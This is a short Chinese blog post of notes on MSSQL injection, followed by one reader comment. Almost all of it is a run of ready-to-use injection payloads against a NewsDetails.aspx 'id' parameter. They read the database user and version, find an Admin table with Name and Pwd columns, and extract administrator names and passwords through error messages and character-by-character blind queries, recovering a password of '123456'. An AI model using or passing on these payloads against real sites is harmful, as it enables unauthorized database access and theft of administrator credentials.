MSSQL流入笔记_SQL

MSSQL注入笔记
用户：
NewsDetails.aspx?id=3' and 1=(user)--

版本：
NewsDetails.aspx?id=3' and 1=(select @@version)--

查表：
NewsDetails.aspx?id=3' and exists (select * from Admin) --

查字段：
NewsDetails.aspx?id=3' and exists (select Name from Admin) --
NewsDetails.aspx?id=3' and exists (select Pwd from Admin) --

查内容：
NewsDetails.aspx?id=3' and 1=(select top 1 Name from Admin ) --
NewsDetails.aspx?id=3' and 1=(select top 1 Pwd from Admin ) --
NewsDetails.aspx?id=3' and 1=(select top 1 Name from Admin where ID=2) --
NewsDetails.aspx?id=3' and 1=(select top 1 Pwd from Admin where ID=2)--

若密码全为数字，则：
NewsDetails.aspx?id=2' and (select top 1 Len(Pwd) from Admin)>5--
NewsDetails.aspx?id=2' and (select top 1 unicode(substring(Pwd,1,1)) from Admin)>48--
NewsDetails.aspx?id=2' and (select top 1 unicode(substring(Pwd,2,1)) from Admin)>49--
NewsDetails.aspx?id=2' and (select top 1 unicode(substring(Pwd,3,1)) from Admin)>50--
NewsDetails.aspx?id=2' and (select top 1 unicode(substring(Pwd,4,1)) from Admin)>51--
NewsDetails.aspx?id=2' and (select top 1 unicode(substring(Pwd,5,1)) from Admin)>52--
NewsDetails.aspx?id=2' and (select top 1 unicode(substring(Pwd,6,1)) from Admin)>53--

密码：123456

===========================================================================
'having 1=1 and ''='

===========================================================================

1楼Wentasy昨天 18:36: SQL注入是一个必须重视的问题。